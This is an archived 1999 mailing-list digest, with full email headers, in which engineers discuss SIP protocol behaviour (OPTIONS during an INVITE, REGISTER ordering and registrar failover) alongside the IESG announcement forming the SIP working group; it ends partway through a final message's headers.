X-Accept-Language: en
MIME-Version: 1.0
To: Shary <shary@coritel.it>
CC: SIPML <confctrl@ISI.EDU>
Subject: Re: Invite and Option
References: <000501bf0992$5033a3e0$33f2cdc1@coritel.it>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Shary wrote:
> 
> Hello everybody,
> 
> I have a question and I hope someone can help me. How does a server react
> when it receives an option with the same call-leg after an invite? Does it:
>  1) manage it in parallel? or
>  2) ignore the option and continue managing the invite? or
>  3) reply with a response 400 and terminate both (invite and option)?

Although nothing stops you from sending an OPTIONS with the same Call-ID
as an existing call, there is no strong relationship between the
response to the OPTIONS and the state of the existing call. The spec
says to answer 200 OK if the user can be reached, and since they
obviously can be, a 200 OK response is in order. The UAS should respond
to the OPTIONS as it would if there were no call - return the MIME types
understood in the Accept header, methods in the Allow, and so on. I'm
unsure what the body should be; the spec says to return the capabilities
of the user. There is no specified way to do this in SDP, although its
not too hard to imagine. I would prefer NOT to return the SDP for the
call associated with the Call-ID of the OPTIONS, but rather return the
generic SDP which indicates capabilities. This makes OPTIONS
consistently call-indepenent. So, to answer your specific questions:

1. parallel - yes
2. no, respond to the OPTIONS with a 200 OK
3. no, the OPTIONS has no affect on the in progress call

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Sep 28 08:02:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01384
	for confctrl-outgoing; Tue, 28 Sep 1999 08:02:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01374
	for <confctrl@zephyr.isi.edu>; Tue, 28 Sep 1999 08:02:50 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28138
	for <confctrl@ISI.EDU>; Tue, 28 Sep 1999 08:02:44 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id KAA01206;
	Tue, 28 Sep 1999 10:02:01 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA28777;
	Tue, 28 Sep 1999 10:02:01 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA00977; Tue, 28 Sep 1999 10:02:00 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA02967;
	Tue, 28 Sep 1999 10:01:59 -0500 (CDT)
Message-Id: <199909281501.KAA02967@b04a24.exu.ericsson.se>
Subject: Re: Invite and Option
To: shary@coritel.it (Shary)
Date: Tue, 28 Sep 1999 10:01:59 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <000501bf0992$5033a3e0$33f2cdc1@coritel.it> from "Shary" at Sep 28, 99 11:17:39 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I have a question and I hope someone can help me. How does a server react
>when it receives an option with the same call-leg after an invite? Does it:
> 1) manage it in parallel? or
> 2) ignore the option and continue managing the invite? or
> 3) reply with a response 400 and terminate both (invite and option)?

It sounds like you intend to ask what to do if you get an OPTIONS on 
the same leg as an INVITE before you send an INVITE final response.
This would be a very strange transaction indeed. Here's how I would
implement it:

For a UAS: I'd choose to either manage it "in parallel" (all you need 
to do is send back a 200 with a capability set) or send back a
"486 Busy Here" (which is what I'd opt for if you don't have a "call 
waiting" type of functionality on the server). 

For a redirect server: Return your normal 300-class response.

For a proxy server: Handle both requests in parallel. You already
have to do this sort of thing for BYE messages, so it shouldn't be
too much trouble.

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Sep 28 08:28:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA02221
	for confctrl-outgoing; Tue, 28 Sep 1999 08:28:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA02216
	for <confctrl@zephyr.isi.edu>; Tue, 28 Sep 1999 08:28:05 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA29982
	for <confctrl@isi.edu>; Tue, 28 Sep 1999 08:28:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Tue Sep 28 11:26:05 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id LAA24708;
	Tue, 28 Sep 1999 11:26:00 -0400 (EDT)
Message-ID: <37F0DDF6.DEC10288@dnrc.bell-labs.com>
Date: Tue, 28 Sep 1999 11:25:42 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        David Oran <oran@cisco.com>,
        Jonathan Rosenberg <jdrosen@bell-labs.com>, archow@hss.hns.com,
        confctrl@ISI.EDU
Subject: Re: A few questions on REGISTER
References: <862567F9.005CE8DD.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Anoop Tripathi wrote:
> 
> If the protocol had an UNREGISTER message , this problem could be bypassed by
> implementing
> 
> " UNREGISTER to all registered clients on a shutdown."
> 
> Now all the unregistered clients keep trying to register and when the server
> comes up , the system is up and running.
> 
> However, the problem still remains for systems which do not use the UNREGISTER
> message. ( Well what do you get when you implement
> something partially ?).
> 
> Also, the problem still remains in case a Registrar/Proxy server crashes (
> without sending  UNREGISTER messages ) and then comes up to
> find the Registration DB corrupt?

This is the part I find confusing. Why is your old registration database
corrupt? If you have a flakey drive, you shouldn't depend on the
protocol to get around your hardware problems. 

In any case:

1. sending UNREGISTER to each registered user individually doesn't work.
You'll miss people who register during the transition period, or that
are temporarily disconnected. It also doesn't scale well, as you'll get
tons of responses.

2. sending a multicast type of UNREGISTER also doesn't work, since you
can't get responses (implosion problem), and then you won't know if it
worked or not.

The best way to handle this is to use SRV records to point to your
backup server, wait for DNS ttls to expire, and then take down the
primary. By then, everyone is using the backup. Also, multicast
registrations are a huge benefit here also. Don't try to handle backups
by telling ALL your clients about it, and hope they pick up the new
backup.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Sep 28 09:14:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA04089
	for confctrl-outgoing; Tue, 28 Sep 1999 09:14:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA04084
	for <confctrl@zephyr.isi.edu>; Tue, 28 Sep 1999 09:14:25 -0700 (PDT)
Received: from alpha.mcit.com (omzrelay01.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA04424
	for <confctrl@ISI.EDU>; Tue, 28 Sep 1999 09:14:25 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FIS0021K2DY2K@firewall.mcit.com> for confctrl@ISI.EDU; Tue,
 28 Sep 1999 16:13:11 +0000 (GMT)
Received: from omzexch006.mcit.com (OMZEXCH006.mcit.com [166.37.194.37])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id QAA15621; Tue,
 28 Sep 1999 16:08:46 +0000 (GMT)
Received: by omzexch006 with Internet Mail Service (5.5.2571.0)
	id <T440671G>; Tue, 28 Sep 1999 16:12:58 +0000
Content-return: allowed
Date: Tue, 28 Sep 1999 16:13:08 +0000
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: RE: A few questions on REGISTER
To: "'archow@hss.hns.com'" <archow@hss.hns.com>,
        Jonathan Rosenberg <jdrosen@bell-labs.com>
Cc: confctrl@ISI.EDU
Message-id: <75C79E507864D3118AFC00805FEAB7D8018EA2@ripexch001.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BF09CC.543ACCC2"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF09CC.543ACCC2
Content-Type: text/plain;
	charset="ISO-8859-1"

archow@hss.hns.com [mailto:archow@hss.hns.com] wrote:

...<snip>

Well, the problem was that since we are saying (according to the RFC) that
REGISTER messages are not rejected (ie no bad request is given), then in
the case when the REGISTRAR gets two messages from a UAC (the UAC did not
wait for a reply for register), 1st one is with Expires 0 and Contact * and
the following one is Expires <xx> and Contact abc, that means the client
wanted to remove all exisitng rgistrations and start afresh.
However, if they arrive out of order, that would mean add abc to the
register list and then remove all of them - something which was not
intended, but will happen since the registrar does not care about CSeq
ordering.

So if we are saying that since the client itself did not wait for the first
response, it should be ready for unpredicatable results, then the registrar
need not worry - but I did think it would just be safer if the registrar
did.

SRD> It seems strange to build a client that would not wait for the response
to the first register, but even if this is done, the registrar will inform
the client of the current registration status, in the form of a contact
list, in the response to the register message.  If it doesn't match the
user's expectations that a new register message can be sent.

<snip>...

------_=_NextPart_001_01BF09CC.543ACCC2
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: A few questions on REGISTER</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>archow@hss.hns.com [<A =
HREF=3D"mailto:archow@hss.hns.com">mailto:archow@hss.hns.com</A>] =
wrote:</FONT>
</P>

<P><FONT SIZE=3D2>...&lt;snip&gt;</FONT>
</P>

<P><FONT SIZE=3D2>Well, the problem was that since we are saying =
(according to the RFC) that</FONT>
<BR><FONT SIZE=3D2>REGISTER messages are not rejected (ie no bad =
request is given), then in</FONT>
<BR><FONT SIZE=3D2>the case when the REGISTRAR gets two messages from a =
UAC (the UAC did not</FONT>
<BR><FONT SIZE=3D2>wait for a reply for register), 1st one is with =
Expires 0 and Contact * and</FONT>
<BR><FONT SIZE=3D2>the following one is Expires &lt;xx&gt; and Contact =
abc, that means the client</FONT>
<BR><FONT SIZE=3D2>wanted to remove all exisitng rgistrations and start =
afresh.</FONT>
<BR><FONT SIZE=3D2>However, if they arrive out of order, that would =
mean add abc to the</FONT>
<BR><FONT SIZE=3D2>register list and then remove all of them - =
something which was not</FONT>
<BR><FONT SIZE=3D2>intended, but will happen since the registrar does =
not care about CSeq</FONT>
<BR><FONT SIZE=3D2>ordering.</FONT>
</P>

<P><FONT SIZE=3D2>So if we are saying that since the client itself did =
not wait for the first</FONT>
<BR><FONT SIZE=3D2>response, it should be ready for unpredicatable =
results, then the registrar</FONT>
<BR><FONT SIZE=3D2>need not worry - but I did think it would just be =
safer if the registrar</FONT>
<BR><FONT SIZE=3D2>did.</FONT>
</P>

<P><FONT SIZE=3D2>SRD&gt; It seems strange to build a client that would =
not wait for the response to the first register, but even if this is =
done, the registrar will inform the client of the current registration =
status, in the form of a contact list, in the response to the register =
message.&nbsp; If it doesn't match the user's expectations that a new =
register message can be sent.</FONT></P>

<P><FONT SIZE=3D2>&lt;snip&gt;...</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BF09CC.543ACCC2--

From confctrl-owner  Tue Sep 28 09:28:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA04597
	for confctrl-outgoing; Tue, 28 Sep 1999 09:28:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA04592
	for <confctrl@zephyr.isi.edu>; Tue, 28 Sep 1999 09:28:05 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA05662
	for <confctrl@isi.edu>; Tue, 28 Sep 1999 09:28:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Tue Sep 28 12:26:59 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id MAA26807;
	Tue, 28 Sep 1999 12:26:57 -0400 (EDT)
Message-ID: <37F0EC3F.4C669CE@dnrc.bell-labs.com>
Date: Tue, 28 Sep 1999 12:26:39 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, "iptel, list" <iptel@lists.research.bell-labs.com>,
        rem-conf@es.net, pint@lists.research.bell-labs.com,
        megaco@standards.nortelnetworks.com
Subject: [Fwd: WG ACTION: Session Initiation Protocol (sip)]
Content-Type: multipart/mixed;
 boundary="------------877B9E266C83C41E7BE5317D"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------877B9E266C83C41E7BE5317D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Folks,

My apologies for the broad cross-posting, but I wanted to make sure
folks see this.

As those who attended mmusic in Oslo may recall, there was agreement
that the work of mmusic was becoming too much. In particular, the SIP
related activities were enough to warrant its own group. The mmusic
session devoted some time to deciding on what a new group would look
like. It was agreed that such a group SHOULD NOT focus on pure IP
telephony aspects of SIP, but rather its broadest application. As such,
a new sip working group has been formed. its charter is to fully own
SIP, including its movement to draft, and any extensions which may
arise. It is within the charter that maintaining the generality and
broad application of SIP, and keeping it simple, are primary goals of
the groups activity. Note that the email below is incorrect regarding
the area; the sip working group is within the transport area.

>From here on, we would like to use the sip mailing list
(sip@lists.research.bell-labs.com) for SIP related discussion. mmusic is
still active, and is going to continue work on sap, sdp, rtsp, and those
non-SIP things. As such, please use the mmusic list (confctrl@isi.edu)
for discussion of those issues.

*************************************
NOTE: YOU WILL NOT BE AUTOMATICALLY SUBSCRIBED TO THE SIP MAILING LIST.
YOU MUST SUBSCRIBE YOURSELF USING THE PROCEDURES ON THE SIP WEB PAGE
http://www.bell-labs.com/mailing-lists/sip/

WHICH SAYS TO SEND MAIL TO sip-request@lists.research.bell-labs.com WITH
THE SINGLE WORD
subscribe IN THE BODY

DO NOT SEND SUBSCRIPTION REQUESTS TO confctrl@isi.edu OR
sip@lists.research.bell-labs.com
*************************************

Thanks,
Jonathan Rosenberg
Joerg Ott
Dean Willis
sip co-chairs

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen
--------------877B9E266C83C41E7BE5317D
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from chair.dnrc.bell-labs.com (chair.dnrc.bell-labs.com [135.180.161.201])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA21122
	for <jdrosen@nova.dnrc.bell-labs.com>; Tue, 28 Sep 1999 09:29:07 -0400 (EDT)
Received: from grubby.research.bell-labs.com (grubby.research.bell-labs.com [135.104.2.9])
	by chair.dnrc.bell-labs.com (8.9.3/8.9.3) with SMTP id JAA28149
	for <jdrosen@DNRC.BELL-LABS.COM>; Tue, 28 Sep 1999 09:29:06 -0400 (EDT)
Received: from dusty.research.bell-labs.com ([135.104.2.7]) by grubby; Tue Sep 28 09:28:04 EDT 1999
Received: from loki.ietf.org ([132.151.1.177]) by dusty; Tue Sep 28 09:27:50 EDT 1999
Received: (from adm@localhost)
	by loki.ietf.org (8.9.1b+Sun/8.9.1) id JAA11036
	for ietf-123-outbound.02@ietf.org; Tue, 28 Sep 1999 09:25:00 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [10.27.2.28])
	by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id JAA10917
	for <all-ietf@loki.ietf.org>; Tue, 28 Sep 1999 09:16:22 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA13338
	for <all-ietf>; Tue, 28 Sep 1999 09:16:20 -0400 (EDT)
Message-Id: <199909281316.JAA13338@ietf.org>
From: The IESG <iesg-secretary@ietf.org>
To: 
Subject: WG ACTION: Session Initiation Protocol (sip)
Date: Tue, 28 Sep 1999 09:16:20 -0400
Sender: scoya@cnri.reston.va.us
Content-Type: text

A new working group has been formed in the Internet Area of the
IETF. Please contact the chair or Area Directors for additional
information.

Session Initiation Protocol (sip)
---------------------------------
 
 Current Status: Active Working Group
 
 Chair(s):
     Jonathan Rosenberg <jdrosen@bell-labs.com>
     Joerg Ott <jo@tzi.uni-bremen.de>
     Dean Willis <dean.willis@wcom.com>
 
 Transport Area Director(s): 
     Scott Bradner  <sob@harvard.edu>
     Vern Paxson  <vern@aciri.org>
 
 Transport Area Advisor: 
     Vern Paxson  <vern@aciri.org>
 
 Mailing Lists: 
     General Discussion:sip@lists.research.bell-labs.com
     To Subscribe:      sip-request@lists.research.bell-labs.com
         In Body:       subscribe
     Archive:           http://www.bell-labs.com/mailing-lists/sip

Description of Working Group:
 
The Session Initiation Protocol (SIP) working group is chartered to
continue the development of SIP, currently specified as proposed 
standard RFC 2543. SIP is a text-based protocol, similar to HTTP and 
SMTP, for initiating interactive communication sessions between users. 
Such sessions include voice, video, chat, interactive games, and virtual 
reality.  The main work of the group involves bringing SIP from proposed 
to draft standard, in addition to developing proposed extensions.

Throughout its work, the group will strive to maintain the basic model
and architecture defined by SIP. In particular:

1. Services and features are provided end to end whenever possible.

2. Extensions and new features must be general purpose, and not
   applicable only to a specific set of session types.

3. Simplicity is key.

4. Reuse of existing IP protocols and architectures, and integrating
   with other IP applications, is crucial.

SIP was first developed within the Multiparty Multimedia Session Control
(MMUSIC) working group, and the SIP working group will continue to 
maintain active communications with MMUSIC. This is particularly 
important since the main MIME type carried in SIP messages, the Session 
Description Protocol (SDP), specified in RFC 2327, is developed by 
MMUSIC. The group will also maintain open dialogues with the IP 
telephony (iptel) working group, whose Call Processing Language (CPL) 
relates to many features of SIP, and the PSTN and Internet 
Internetworking (pint) working group, whose specification
is based on SIP; and will consider input from the Distributed Call 
Signaling Group (DCS) for distributed telephony services.

The specific deliverables of the group are:

1. A Draft Standard version of SIP.

2. Completion of the SIP call control specification, which enables
   multiparty services, such as transfer and bridged sessions.

3. Completion of the SIP caller preferences specification, which
   enables intelligent call routing services.

4. Completion of the SIP INFO method extension, used for carrying SIP
   session related information.

5. Completion of the "183 response" extension, to enable early session
   establishment.

Other deliverables may be agreed upon as extensions are proposed.
 
 Goals and Milestones: 
 
   Dec 99       INFO Method extension submitted to IESG                        

   Feb 00       Early session establishment extension submitted to IESG        

   Mar 00       Caller preferences specification submitted to IESG             

   May 00       Call control specification submitted to IESG                   

   Jul 00       Draft standard version of SIP submitted to IESG                


--------------877B9E266C83C41E7BE5317D--


From confctrl-owner  Tue Sep 28 11:25:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA11966
	for confctrl-outgoing; Tue, 28 Sep 1999 11:25:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11958
	for <confctrl@zephyr.isi.edu>; Tue, 28 Sep 1999 11:25:27 -0700 (PDT)
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21111
	for <confctrl@isi.edu>; Tue, 28 Sep 1999 11:25:19 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA21711;
	Tue, 28 Sep 1999 14:24:13 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id TAA04620;
	Tue, 28 Sep 1999 19:24:50 +0100 (BST)
Message-ID: <37F10826.DBDD791C@hplb.hpl.hp.com>
Date: Tue, 28 Sep 1999 19:25:42 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: confctrl <confctrl@ISI.EDU>, SIP <sip@lists.research.bell-labs.com>
Subject: Re: A few questions on REGISTER
References: <862567F9.005CE8DD.00@mwgate02.mw.3com.com> <37F0DDF6.DEC10288@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

trying to move the discussion to the new SIP list... hopefully it
doesn't delay messages for several hours before sending them like the
confctrl list does.

Jonathan Rosenberg wrote:
> 
> Anoop Tripathi wrote:
> >
> > If the protocol had an UNREGISTER message , this problem could be bypassed by
> > implementing
> >
> > " UNREGISTER to all registered clients on a shutdown."
> >
> > Now all the unregistered clients keep trying to register and when the server
> > comes up , the system is up and running.
> >
> > However, the problem still remains for systems which do not use the UNREGISTER
> > message. ( Well what do you get when you implement
> > something partially ?).
> >
> > Also, the problem still remains in case a Registrar/Proxy server crashes (
> > without sending  UNREGISTER messages ) and then comes up to
> > find the Registration DB corrupt?
> 
> This is the part I find confusing. Why is your old registration database
> corrupt? If you have a flakey drive, you shouldn't depend on the
> protocol to get around your hardware problems.
> 
> In any case:
> 
> 1. sending UNREGISTER to each registered user individually doesn't work.
> You'll miss people who register during the transition period, or that
> are temporarily disconnected. It also doesn't scale well, as you'll get
> tons of responses.
> 
> 2. sending a multicast type of UNREGISTER also doesn't work, since you
> can't get responses (implosion problem), and then you won't know if it
> worked or not.
> 
> The best way to handle this is to use SRV records to point to your
> backup server, wait for DNS ttls to expire, and then take down the
> primary. By then, everyone is using the backup. Also, multicast
> registrations are a huge benefit here also. Don't try to handle backups
> by telling ALL your clients about it, and hope they pick up the new
> backup.

This procedure doesn't really depend on the use of SRV. The same
sequence of steps for A RRs will allow you to (eventually) swap servers,
and I guess this is not an uncommon way of using A records (www.hp.com
has 4 A RRs). It *is* desirable to use SRV records, though, for other
reasons.  Related to this is the point that SIP implementations probably
ought to try *all* A addresses associated with a domain name, before
giving up.

Anyway, it seems to me that SIP registrations serve the same purpose as
service announcements in the varios service discovery protocols.
Comparing with the Service Location Protocol (SLP), a SIP UAS is like an
SLP service agent, a UAC is like an SLP user agent, and a
registrar/redirect server/proxy is like an SLP directory agent.

It is probably reasonable to assume that regarding service discovery
more thought has gone into designing SLP than SIP and so it's of
interest to consider what SLP does regarding UNREGISTERs, and I believe
it doesn't support this, although there might be a proposed extension
for it. I think this corresponds well with the common idea of what
operations are supported by a directory.

Maybe I'll try and do a SIP SLP schema...

Regards,
Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Wed Sep 29 08:45:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01915
	for confctrl-outgoing; Wed, 29 Sep 1999 08:45:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01910
	for <confctrl@zephyr.isi.edu>; Wed, 29 Sep 1999 08:45:58 -0700 (PDT)
Received: from telesoft.indts.com (root@[164.164.71.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA00949
	for <confctrl@ISI.EDU>; Wed, 29 Sep 1999 08:45:53 -0700 (PDT)
Received: from B_ANURAG ([201.64.64.174])
	by telesoft.indts.com (8.8.7/8.8.7) with SMTP id VAA26979;
	Wed, 29 Sep 1999 21:14:29 +0530
Received: by B_ANURAG with Microsoft Mail
	id <01BF0ABF.549C6470@B_ANURAG>; Wed, 29 Sep 1999 21:12:26 +0530
Message-ID: <01BF0ABF.549C6470@B_ANURAG>
From: Anurag Vohra <vohra@indts.com>
To: "'Anders Kristensen'" <ak@hplb.hpl.hp.com>,
        Jonathan Rosenberg
	 <jdrosen@dnrc.bell-labs.com>
Cc: confctrl <confctrl@ISI.EDU>, SIP <sip@lists.research.bell-labs.com>
Subject: RE: A few questions on REGISTER
Date: Wed, 29 Sep 1999 21:12:24 +0530
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id IAA01911
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi, 

> Anoop Tripathi wrote:
> >
> > If the protocol had an UNREGISTER message , this problem could be bypassed by
> > implementing
> >
> > " UNREGISTER to all registered clients on a shutdown."
> >
> > Now all the unregistered clients keep trying to register and when the server
> > comes up , the system is up and running.
> >
> > However, the problem still remains for systems which do not use the UNREGISTER
> > message. ( Well what do you get when you implement
> > something partially ?).
> >
> > Also, the problem still remains in case a Registrar/Proxy server crashes (
> > without sending  UNREGISTER messages ) and then comes up to
> > find the Registration DB corrupt?
> 
> This is the part I find confusing. Why is your old registration database
> corrupt? If you have a flakey drive, you shouldn't depend on the
> protocol to get around your hardware problems.
> 
> In any case:
> 
> 1. sending UNREGISTER to each registered user individually doesn't work.
> You'll miss people who register during the transition period, or that
> are temporarily disconnected. It also doesn't scale well, as you'll get
> tons of responses.
> 
> 2. sending a multicast type of UNREGISTER also doesn't work, since you
> can't get responses (implosion problem), and then you won't know if it
> worked or not.
> 
> The best way to handle this is to use SRV records to point to your
> backup server, wait for DNS ttls to expire, and then take down the
> primary. By then, everyone is using the backup. Also, multicast
> registrations are a huge benefit here also. Don't try to handle backups
> by telling ALL your clients about it, and hope they pick up the new
> backup.

Can we do the following as an alternative - 

  The registrar server apart from storing in its local memory store the information in a directory server using LDAP. All new registrations are also updated there. One can restart any time for maintenace without losing any info. Or use a another back up server which can always read the current information from the directory server. Keeping it in one place will also help in sharing registration information between proxy server. I don't know whether this is a requirement, but feel this also can have a use.  
  
Regards,
Anurag Vohra 

From confctrl-owner  Wed Sep 29 10:34:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA06878
	for confctrl-outgoing; Wed, 29 Sep 1999 10:34:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA06873
	for <confctrl@zephyr.isi.edu>; Wed, 29 Sep 1999 10:34:05 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA16292
	for <confctrl@isi.edu>; Wed, 29 Sep 1999 10:34:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Wed Sep 29 13:33:00 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id NAA01589;
	Wed, 29 Sep 1999 13:32:59 -0400 (EDT)
Message-ID: <37F24D34.BC432651@dnrc.bell-labs.com>
